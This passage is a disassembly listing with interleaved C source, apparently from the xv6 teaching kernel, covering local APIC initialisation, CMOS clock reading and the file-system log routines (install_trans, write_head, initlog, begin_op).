0x20(%eax),%edx lapic[index] = value; 80102667: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax) 8010266e: 96 98 00 lapic[ID]; // wait for write to finish, by reading 80102671: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102674: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax) 8010267b: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010267e: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102681: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax) 80102688: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010268b: 8b 50 20 mov 0x20(%eax),%edx lapicw(LINT0, MASKED); lapicw(LINT1, MASKED); // Disable performance counter overflow interrupts // on machines that provide that interrupt entry. if(((lapic[VER]>>16) & 0xFF) >= 4) 8010268e: 8b 50 30 mov 0x30(%eax),%edx 80102691: c1 ea 10 shr $0x10,%edx 80102694: 80 fa 03 cmp $0x3,%dl 80102697: 77 77 ja 80102710 <lapicinit+0xe0> lapic[index] = value; 80102699: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax) 801026a0: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026a3: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026a6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026ad: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026b0: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026b3: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026ba: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026bd: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026c0: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 801026c7: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026ca: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026cd: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax) 801026d4: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026d7: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026da: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax) 801026e1: 85 08 00 lapic[ID]; // wait for write to finish, by reading 801026e4: 8b 50 20 mov 0x20(%eax),%edx 801026e7: 89 f6 mov %esi,%esi 801026e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi lapicw(EOI, 0); // Send an Init Level De-Assert to synchronise arbitration ID's. lapicw(ICRHI, 0); lapicw(ICRLO, BCAST | INIT | LEVEL); while(lapic[ICRLO] & DELIVS) 801026f0: 8b 90 00 03 00 00 mov 0x300(%eax),%edx 801026f6: 80 e6 10 and $0x10,%dh 801026f9: 75 f5 jne 801026f0 <lapicinit+0xc0> lapic[index] = value; 801026fb: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 80102702: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102705: 8b 40 20 mov 0x20(%eax),%eax ; // Enable interrupts on the APIC (but not on the processor). lapicw(TPR, 0); } 80102708: 5d pop %ebp 80102709: c3 ret 8010270a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi lapic[index] = value; 80102710: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax) 80102717: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010271a: 8b 50 20 mov 0x20(%eax),%edx 8010271d: e9 77 ff ff ff jmp 80102699 <lapicinit+0x69> 80102722: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102729: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102730 <lapicid>: int lapicid(void) { if (!lapic) 80102730: 8b 15 7c 26 11 80 mov 0x8011267c,%edx { 80102736: 55 push %ebp 80102737: 31 c0 xor %eax,%eax 80102739: 89 e5 mov %esp,%ebp if (!lapic) 8010273b: 85 d2 test %edx,%edx 8010273d: 74 06 je 80102745 <lapicid+0x15> return 0; return lapic[ID] >> 24; 8010273f: 8b 42 20 mov 0x20(%edx),%eax 80102742: c1 e8 18 shr $0x18,%eax } 80102745: 5d pop %ebp 80102746: c3 ret 80102747: 89 f6 mov %esi,%esi 80102749: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102750 <lapiceoi>: // Acknowledge interrupt. void lapiceoi(void) { if(lapic) 80102750: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102755: 55 push %ebp 80102756: 89 e5 mov %esp,%ebp if(lapic) 80102758: 85 c0 test %eax,%eax 8010275a: 74 0d je 80102769 <lapiceoi+0x19> lapic[index] = value; 8010275c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102763: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102766: 8b 40 20 mov 0x20(%eax),%eax lapicw(EOI, 0); } 80102769: 5d pop %ebp 8010276a: c3 ret 8010276b: 90 nop 8010276c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102770 <microdelay>: // Spin for a given number of microseconds. // On real hardware would want to tune this dynamically. void microdelay(int us) { 80102770: 55 push %ebp 80102771: 89 e5 mov %esp,%ebp } 80102773: 5d pop %ebp 80102774: c3 ret 80102775: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102779: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102780 <lapicstartap>: // Start additional processor running entry code at addr. // See Appendix B of MultiProcessor Specification. void lapicstartap(uchar apicid, uint addr) { 80102780: 55 push %ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102781: b8 0f 00 00 00 mov $0xf,%eax 80102786: ba 70 00 00 00 mov $0x70,%edx 8010278b: 89 e5 mov %esp,%ebp 8010278d: 53 push %ebx 8010278e: 8b 4d 0c mov 0xc(%ebp),%ecx 80102791: 8b 5d 08 mov 0x8(%ebp),%ebx 80102794: ee out %al,(%dx) 80102795: b8 0a 00 00 00 mov $0xa,%eax 8010279a: ba 71 00 00 00 mov $0x71,%edx 8010279f: ee out %al,(%dx) // and the warm reset vector (DWORD based at 40:67) to point at // the AP startup code prior to the [universal startup algorithm]." outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code outb(CMOS_PORT+1, 0x0A); wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector wrv[0] = 0; 801027a0: 31 c0 xor %eax,%eax wrv[1] = addr >> 4; // "Universal startup algorithm." // Send INIT (level-triggered) interrupt to reset other CPU. lapicw(ICRHI, apicid<<24); 801027a2: c1 e3 18 shl $0x18,%ebx wrv[0] = 0; 801027a5: 66 a3 67 04 00 80 mov %ax,0x80000467 wrv[1] = addr >> 4; 801027ab: 89 c8 mov %ecx,%eax // when it is in the halted state due to an INIT. So the second // should be ignored, but it is part of the official Intel algorithm. // Bochs complains about the second one. Too bad for Bochs. for(i = 0; i < 2; i++){ lapicw(ICRHI, apicid<<24); lapicw(ICRLO, STARTUP | (addr>>12)); 801027ad: c1 e9 0c shr $0xc,%ecx wrv[1] = addr >> 4; 801027b0: c1 e8 04 shr $0x4,%eax lapicw(ICRHI, apicid<<24); 801027b3: 89 da mov %ebx,%edx lapicw(ICRLO, STARTUP | (addr>>12)); 801027b5: 80 cd 06 or $0x6,%ch wrv[1] = addr >> 4; 801027b8: 66 a3 69 04 00 80 mov %ax,0x80000469 lapic[index] = value; 801027be: a1 7c 26 11 80 mov 0x8011267c,%eax 801027c3: 89 98 10 03 00 00 mov %ebx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027c9: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027cc: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax) 801027d3: c5 00 00 lapic[ID]; // wait for write to finish, by reading 801027d6: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027d9: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax) 801027e0: 85 00 00 lapic[ID]; // wait for write to finish, by reading 801027e3: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027e6: 89 90 10 03 00 00 mov %edx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027ec: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027ef: 89 88 00 03 00 00 mov %ecx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 801027f5: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 801027f8: 89 90 10 03 00 00 mov %edx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027fe: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102801: 89 88 00 03 00 00 mov %ecx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102807: 8b 40 20 mov 0x20(%eax),%eax microdelay(200); } } 8010280a: 5b pop %ebx 8010280b: 5d pop %ebp 8010280c: c3 ret 8010280d: 8d 76 00 lea 0x0(%esi),%esi 80102810 <cmostime>: } // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 80102810: 55 push %ebp 80102811: b8 0b 00 00 00 mov $0xb,%eax 80102816: ba 70 00 00 00 mov $0x70,%edx 8010281b: 89 e5 mov %esp,%ebp 8010281d: 57 push %edi 8010281e: 56 push %esi 8010281f: 53 push %ebx 80102820: 83 ec 4c sub $0x4c,%esp 80102823: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102824: ba 71 00 00 00 mov $0x71,%edx 80102829: ec in (%dx),%al 8010282a: 83 e0 04 and $0x4,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010282d: bb 70 00 00 00 mov $0x70,%ebx 80102832: 88 45 b3 mov %al,-0x4d(%ebp) 80102835: 8d 76 00 lea 0x0(%esi),%esi 80102838: 31 c0 xor %eax,%eax 8010283a: 89 da mov %ebx,%edx 8010283c: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010283d: b9 71 00 00 00 mov $0x71,%ecx 80102842: 89 ca mov %ecx,%edx 80102844: ec in (%dx),%al 80102845: 88 45 b7 mov %al,-0x49(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102848: 89 da mov %ebx,%edx 8010284a: b8 02 00 00 00 mov $0x2,%eax 8010284f: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102850: 89 ca mov %ecx,%edx 80102852: ec in (%dx),%al 80102853: 88 45 b6 mov %al,-0x4a(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102856: 89 da mov %ebx,%edx 80102858: b8 04 00 00 00 mov $0x4,%eax 8010285d: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010285e: 89 ca mov %ecx,%edx 80102860: ec in (%dx),%al 80102861: 88 45 b5 mov %al,-0x4b(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102864: 89 da mov %ebx,%edx 80102866: b8 07 00 00 00 mov $0x7,%eax 8010286b: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010286c: 89 ca mov %ecx,%edx 8010286e: ec in (%dx),%al 8010286f: 88 45 b4 mov %al,-0x4c(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102872: 89 da mov %ebx,%edx 80102874: b8 08 00 00 00 mov $0x8,%eax 80102879: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010287a: 89 ca mov %ecx,%edx 8010287c: ec in (%dx),%al 8010287d: 89 c7 mov %eax,%edi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010287f: 89 da mov %ebx,%edx 80102881: b8 09 00 00 00 mov $0x9,%eax 80102886: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102887: 89 ca mov %ecx,%edx 80102889: ec in (%dx),%al 8010288a: 89 c6 mov %eax,%esi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010288c: 89 da mov %ebx,%edx 8010288e: b8 0a 00 00 00 mov $0xa,%eax 80102893: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102894: 89 ca mov %ecx,%edx 80102896: ec in (%dx),%al bcd = (sb & (1 << 2)) == 0; // make sure CMOS doesn't modify time while we read it for(;;) { fill_rtcdate(&t1); if(cmos_read(CMOS_STATA) & CMOS_UIP) 80102897: 84 c0 test %al,%al 80102899: 78 9d js 80102838 <cmostime+0x28> return inb(CMOS_RETURN); 8010289b: 0f b6 45 b7 movzbl -0x49(%ebp),%eax 8010289f: 89 fa mov %edi,%edx 801028a1: 0f b6 fa movzbl %dl,%edi 801028a4: 89 f2 mov %esi,%edx 801028a6: 0f b6 f2 movzbl %dl,%esi 801028a9: 89 7d c8 mov %edi,-0x38(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028ac: 89 da mov %ebx,%edx 801028ae: 89 75 cc mov %esi,-0x34(%ebp) 801028b1: 89 45 b8 mov %eax,-0x48(%ebp) 801028b4: 0f b6 45 b6 movzbl -0x4a(%ebp),%eax 801028b8: 89 45 bc mov %eax,-0x44(%ebp) 801028bb: 0f b6 45 b5 movzbl -0x4b(%ebp),%eax 801028bf: 89 45 c0 mov %eax,-0x40(%ebp) 801028c2: 0f b6 45 b4 movzbl -0x4c(%ebp),%eax 801028c6: 89 45 c4 mov %eax,-0x3c(%ebp) 801028c9: 31 c0 xor %eax,%eax 801028cb: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028cc: 89 ca mov %ecx,%edx 801028ce: ec in (%dx),%al 801028cf: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028d2: 89 da mov %ebx,%edx 801028d4: 89 45 d0 mov %eax,-0x30(%ebp) 801028d7: b8 02 00 00 00 mov $0x2,%eax 801028dc: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028dd: 89 ca mov %ecx,%edx 801028df: ec in (%dx),%al 801028e0: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028e3: 89 da mov %ebx,%edx 801028e5: 89 45 d4 mov %eax,-0x2c(%ebp) 801028e8: b8 04 00 00 00 mov $0x4,%eax 801028ed: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028ee: 89 ca mov %ecx,%edx 801028f0: ec in (%dx),%al 801028f1: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801028f4: 89 da mov %ebx,%edx 801028f6: 89 45 d8 mov %eax,-0x28(%ebp) 801028f9: b8 07 00 00 00 mov $0x7,%eax 801028fe: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801028ff: 89 ca mov %ecx,%edx 80102901: ec in (%dx),%al 80102902: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102905: 89 da mov %ebx,%edx 80102907: 89 45 dc mov %eax,-0x24(%ebp) 8010290a: b8 08 00 00 00 mov $0x8,%eax 8010290f: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102910: 89 ca mov %ecx,%edx 80102912: ec in (%dx),%al 80102913: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102916: 89 da mov %ebx,%edx 80102918: 89 45 e0 mov %eax,-0x20(%ebp) 8010291b: b8 09 00 00 00 mov $0x9,%eax 80102920: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102921: 89 ca mov %ecx,%edx 80102923: ec in (%dx),%al 80102924: 0f b6 c0 movzbl %al,%eax continue; fill_rtcdate(&t2); if(memcmp(&t1, &t2, sizeof(t1)) == 0) 80102927: 83 ec 04 sub $0x4,%esp return inb(CMOS_RETURN); 8010292a: 89 45 e4 mov %eax,-0x1c(%ebp) if(memcmp(&t1, &t2, sizeof(t1)) == 0) 8010292d: 8d 45 d0 lea -0x30(%ebp),%eax 80102930: 6a 18 push $0x18 80102932: 50 push %eax 80102933: 8d 45 b8 lea -0x48(%ebp),%eax 80102936: 50 push %eax 80102937: e8 34 1c 00 00 call 80104570 <memcmp> 8010293c: 83 c4 10 add $0x10,%esp 8010293f: 85 c0 test %eax,%eax 80102941: 0f 85 f1 fe ff ff jne 80102838 <cmostime+0x28> break; } // convert if(bcd) { 80102947: 80 7d b3 00 cmpb $0x0,-0x4d(%ebp) 8010294b: 75 78 jne 801029c5 <cmostime+0x1b5> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 8010294d: 8b 45 b8 mov -0x48(%ebp),%eax 80102950: 89 c2 mov %eax,%edx 80102952: 83 e0 0f and $0xf,%eax 80102955: c1 ea 04 shr $0x4,%edx 80102958: 8d 14 92 lea (%edx,%edx,4),%edx 8010295b: 8d 04 50 lea (%eax,%edx,2),%eax 8010295e: 89 45 b8 mov %eax,-0x48(%ebp) CONV(minute); 80102961: 8b 45 bc mov -0x44(%ebp),%eax 80102964: 89 c2 mov %eax,%edx 80102966: 83 e0 0f and $0xf,%eax 80102969: c1 ea 04 shr $0x4,%edx 8010296c: 8d 14 92 lea (%edx,%edx,4),%edx 8010296f: 8d 04 50 lea (%eax,%edx,2),%eax 80102972: 89 45 bc mov %eax,-0x44(%ebp) CONV(hour ); 80102975: 8b 45 c0 mov -0x40(%ebp),%eax 80102978: 89 c2 mov %eax,%edx 8010297a: 83 e0 0f and $0xf,%eax 8010297d: c1 ea 04 shr $0x4,%edx 80102980: 8d 14 92 lea (%edx,%edx,4),%edx 80102983: 8d 04 50 lea (%eax,%edx,2),%eax 80102986: 89 45 c0 mov %eax,-0x40(%ebp) CONV(day ); 80102989: 8b 45 c4 mov -0x3c(%ebp),%eax 8010298c: 89 c2 mov %eax,%edx 8010298e: 83 e0 0f and $0xf,%eax 80102991: c1 ea 04 shr $0x4,%edx 80102994: 8d 14 92 lea (%edx,%edx,4),%edx 80102997: 8d 04 50 lea (%eax,%edx,2),%eax 8010299a: 89 45 c4 mov %eax,-0x3c(%ebp) CONV(month ); 8010299d: 8b 45 c8 mov -0x38(%ebp),%eax 801029a0: 89 c2 mov %eax,%edx 801029a2: 83 e0 0f and $0xf,%eax 801029a5: c1 ea 04 shr $0x4,%edx 801029a8: 8d 14 92 lea (%edx,%edx,4),%edx 801029ab: 8d 04 50 lea (%eax,%edx,2),%eax 801029ae: 89 45 c8 mov %eax,-0x38(%ebp) CONV(year ); 801029b1: 8b 45 cc mov -0x34(%ebp),%eax 801029b4: 89 c2 mov %eax,%edx 801029b6: 83 e0 0f and $0xf,%eax 801029b9: c1 ea 04 shr $0x4,%edx 801029bc: 8d 14 92 lea (%edx,%edx,4),%edx 801029bf: 8d 04 50 lea (%eax,%edx,2),%eax 801029c2: 89 45 cc mov %eax,-0x34(%ebp) #undef CONV } *r = t1; 801029c5: 8b 75 08 mov 0x8(%ebp),%esi 801029c8: 8b 45 b8 mov -0x48(%ebp),%eax 801029cb: 89 06 mov %eax,(%esi) 801029cd: 8b 45 bc mov -0x44(%ebp),%eax 801029d0: 89 46 04 mov %eax,0x4(%esi) 801029d3: 8b 45 c0 mov -0x40(%ebp),%eax 801029d6: 89 46 08 mov %eax,0x8(%esi) 801029d9: 8b 45 c4 mov -0x3c(%ebp),%eax 801029dc: 89 46 0c mov %eax,0xc(%esi) 801029df: 8b 45 c8 mov -0x38(%ebp),%eax 801029e2: 89 46 10 mov %eax,0x10(%esi) 801029e5: 8b 45 cc mov -0x34(%ebp),%eax 801029e8: 89 46 14 mov %eax,0x14(%esi) r->year += 2000; 801029eb: 81 46 14 d0 07 00 00 addl $0x7d0,0x14(%esi) } 801029f2: 8d 65 f4 lea -0xc(%ebp),%esp 801029f5: 5b pop %ebx 801029f6: 5e pop %esi 801029f7: 5f pop %edi 801029f8: 5d pop %ebp 801029f9: c3 ret 801029fa: 66 90 xchg %ax,%ax 801029fc: 66 90 xchg %ax,%ax 801029fe: 66 90 xchg %ax,%ax 80102a00 <install_trans>: static void install_trans(void) { int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102a00: 8b 0d c8 26 11 80 mov 0x801126c8,%ecx 80102a06: 85 c9 test %ecx,%ecx 80102a08: 0f 8e 8a 00 00 00 jle 80102a98 <install_trans+0x98> { 80102a0e: 55 push %ebp 80102a0f: 89 e5 mov %esp,%ebp 80102a11: 57 push %edi 80102a12: 56 push %esi 80102a13: 53 push %ebx for (tail = 0; tail < log.lh.n; tail++) { 80102a14: 31 db xor %ebx,%ebx { 80102a16: 83 ec 0c sub $0xc,%esp 80102a19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 80102a20: a1 b4 26 11 80 mov 0x801126b4,%eax 80102a25: 83 ec 08 sub $0x8,%esp 80102a28: 01 d8 add %ebx,%eax 80102a2a: 83 c0 01 add $0x1,%eax 80102a2d: 50 push %eax 80102a2e: ff 35 c4 26 11 80 pushl 0x801126c4 80102a34: e8 97 d6 ff ff call 801000d0 <bread> 80102a39: 89 c7 mov %eax,%edi struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80102a3b: 58 pop %eax 80102a3c: 5a pop %edx 80102a3d: ff 34 9d cc 26 11 80 pushl -0x7feed934(,%ebx,4) 80102a44: ff 35 c4 26 11 80 pushl 0x801126c4 for (tail = 0; tail < log.lh.n; tail++) { 80102a4a: 83 c3 01 add $0x1,%ebx struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80102a4d: e8 7e d6 ff ff call 801000d0 <bread> 80102a52: 89 c6 mov %eax,%esi memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 80102a54: 8d 47 5c lea 0x5c(%edi),%eax 80102a57: 83 c4 0c add $0xc,%esp 80102a5a: 68 00 02 00 00 push $0x200 80102a5f: 50 push %eax 80102a60: 8d 46 5c lea 0x5c(%esi),%eax 80102a63: 50 push %eax 80102a64: e8 67 1b 00 00 call 801045d0 <memmove> bwrite(dbuf); // write dst to disk 80102a69: 89 34 24 mov %esi,(%esp) 80102a6c: e8 2f d7 ff ff call 801001a0 <bwrite> brelse(lbuf); 80102a71: 89 3c 24 mov %edi,(%esp) 80102a74: e8 67 d7 ff ff call 801001e0 <brelse> brelse(dbuf); 80102a79: 89 34 24 mov %esi,(%esp) 80102a7c: e8 5f d7 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80102a81: 83 c4 10 add $0x10,%esp 80102a84: 39 1d c8 26 11 80 cmp %ebx,0x801126c8 80102a8a: 7f 94 jg 80102a20 <install_trans+0x20> } } 80102a8c: 8d 65 f4 lea -0xc(%ebp),%esp 80102a8f: 5b pop %ebx 80102a90: 5e pop %esi 80102a91: 5f pop %edi 80102a92: 5d pop %ebp 80102a93: c3 ret 80102a94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102a98: f3 c3 repz ret 80102a9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102aa0 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 80102aa0: 55 push %ebp 80102aa1: 89 e5 mov %esp,%ebp 80102aa3: 56 push %esi 80102aa4: 53 push %ebx struct buf *buf = bread(log.dev, log.start); 80102aa5: 83 ec 08 sub $0x8,%esp 80102aa8: ff 35 b4 26 11 80 pushl 0x801126b4 80102aae: ff 35 c4 26 11 80 pushl 0x801126c4 80102ab4: e8 17 d6 ff ff call 801000d0 <bread> struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80102ab9: 8b 1d c8 26 11 80 mov 0x801126c8,%ebx for (i = 0; i < log.lh.n; i++) { 80102abf: 83 c4 10 add $0x10,%esp struct buf *buf = bread(log.dev, log.start); 80102ac2: 89 c6 mov %eax,%esi for (i = 0; i < log.lh.n; i++) { 80102ac4: 85 db test %ebx,%ebx hb->n = log.lh.n; 80102ac6: 89 58 5c mov %ebx,0x5c(%eax) for (i = 0; i < log.lh.n; i++) { 80102ac9: 7e 16 jle 80102ae1 <write_head+0x41> 80102acb: c1 e3 02 shl $0x2,%ebx 80102ace: 31 d2 xor %edx,%edx hb->block[i] = log.lh.block[i]; 80102ad0: 8b 8a cc 26 11 80 mov -0x7feed934(%edx),%ecx 80102ad6: 89 4c 16 60 mov %ecx,0x60(%esi,%edx,1) 80102ada: 83 c2 04 add $0x4,%edx for (i = 0; i < log.lh.n; i++) { 80102add: 39 da cmp %ebx,%edx 80102adf: 75 ef jne 80102ad0 <write_head+0x30> } bwrite(buf); 80102ae1: 83 ec 0c sub $0xc,%esp 80102ae4: 56 push %esi 80102ae5: e8 b6 d6 ff ff call 801001a0 <bwrite> brelse(buf); 80102aea: 89 34 24 mov %esi,(%esp) 80102aed: e8 ee d6 ff ff call 801001e0 <brelse> } 80102af2: 83 c4 10 add $0x10,%esp 80102af5: 8d 65 f8 lea -0x8(%ebp),%esp 80102af8: 5b pop %ebx 80102af9: 5e pop %esi 80102afa: 5d pop %ebp 80102afb: c3 ret 80102afc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102b00 <initlog>: { 80102b00: 55 push %ebp 80102b01: 89 e5 mov %esp,%ebp 80102b03: 53 push %ebx 80102b04: 83 ec 2c sub $0x2c,%esp 80102b07: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&log.lock, "log"); 80102b0a: 68 a0 74 10 80 push $0x801074a0 80102b0f: 68 80 26 11 80 push $0x80112680 80102b14: e8 b7 17 00 00 call 801042d0 <initlock> readsb(dev, &sb); 80102b19: 58 pop %eax 80102b1a: 8d 45 dc lea -0x24(%ebp),%eax 80102b1d: 5a pop %edx 80102b1e: 50 push %eax 80102b1f: 53 push %ebx 80102b20: e8 1b e9 ff ff call 80101440 <readsb> log.size = sb.nlog; 80102b25: 8b 55 e8 mov -0x18(%ebp),%edx log.start = sb.logstart; 80102b28: 8b 45 ec mov -0x14(%ebp),%eax struct buf *buf = bread(log.dev, log.start); 80102b2b: 59 pop %ecx log.dev = dev; 80102b2c: 89 1d c4 26 11 80 mov %ebx,0x801126c4 log.size = sb.nlog; 80102b32: 89 15 b8 26 11 80 mov %edx,0x801126b8 log.start = sb.logstart; 80102b38: a3 b4 26 11 80 mov %eax,0x801126b4 struct buf *buf = bread(log.dev, log.start); 80102b3d: 5a pop %edx 80102b3e: 50 push %eax 80102b3f: 53 push %ebx 80102b40: e8 8b d5 ff ff call 801000d0 <bread> log.lh.n = lh->n; 80102b45: 8b 58 5c mov 0x5c(%eax),%ebx for (i = 0; i < log.lh.n; i++) { 80102b48: 83 c4 10 add $0x10,%esp 80102b4b: 85 db test %ebx,%ebx log.lh.n = lh->n; 80102b4d: 89 1d c8 26 11 80 mov %ebx,0x801126c8 for (i = 0; i < log.lh.n; i++) { 80102b53: 7e 1c jle 80102b71 <initlog+0x71> 80102b55: c1 e3 02 shl $0x2,%ebx 80102b58: 31 d2 xor %edx,%edx 80102b5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi log.lh.block[i] = lh->block[i]; 80102b60: 8b 4c 10 60 mov 0x60(%eax,%edx,1),%ecx 80102b64: 83 c2 04 add $0x4,%edx 80102b67: 89 8a c8 26 11 80 mov %ecx,-0x7feed938(%edx) for (i = 0; i < log.lh.n; i++) { 80102b6d: 39 d3 cmp %edx,%ebx 80102b6f: 75 ef jne 80102b60 <initlog+0x60> brelse(buf); 80102b71: 83 ec 0c sub $0xc,%esp 80102b74: 50 push %eax 80102b75: e8 66 d6 ff ff call 801001e0 <brelse> static void recover_from_log(void) { read_head(); install_trans(); // if committed, copy from log to disk 80102b7a: e8 81 fe ff ff call 80102a00 <install_trans> log.lh.n = 0; 80102b7f: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102b86: 00 00 00 write_head(); // clear the log 80102b89: e8 12 ff ff ff call 80102aa0 <write_head> } 80102b8e: 83 c4 10 add $0x10,%esp 80102b91: 8b 5d fc mov -0x4(%ebp),%ebx 80102b94: c9 leave 80102b95: c3 ret 80102b96: 8d 76 00 lea 0x0(%esi),%esi 80102b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102ba0 <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 80102ba0: 55 push %ebp 80102ba1: 89 e5 mov %esp,%ebp 80102ba3: 83 ec 14 sub $0x14,%esp acquire(&log.lock); 80102ba6: 68 80 26 11 80 push $0x80112680 80102bab: e8 60 18 00 00 call 80104410 <acquire> 80102bb0: 83 c4 10 add $0x10,%esp 80102bb3: eb 18 jmp 80102bcd <begin_op+0x2d> 80102bb5: 8d 76 00 lea 0x0(%esi),%esi while(1){ if(log.committing){ sleep(&log, &log.lock); 80102bb8: 83 ec 08 sub $0x8,%esp 80102bbb: 68 80 26 11 80 push $0x80112680 80102bc0: 68 80 26 11 80 push $0x80112680 80102bc5: e8 b6 11 00 00 call 80103d80 <sleep> 80102bca: 83 c4 10 add $0x10,%esp if(log.committing){ 80102bcd: a1 c0 26 11 80 mov 0x801126c0,%eax 80102bd2: 85 c0 test %eax,%eax 80102bd4: 75 e2 jne 80102bb8 <begin_op+0x18> } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80102bd6: a1 bc 26 11 80 mov 0x801126bc,%eax 80102bdb: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102be1: 83 c0 01 add $0x1,%eax 80102be4: 8d 0c 80 lea (%eax,%eax,4),%ecx 80102be7: 8d 14 4a lea (%edx,%ecx,2),%edx 80102bea: 83 fa 1e cmp $0x1e,%edx 80102bed: 7f c9 jg 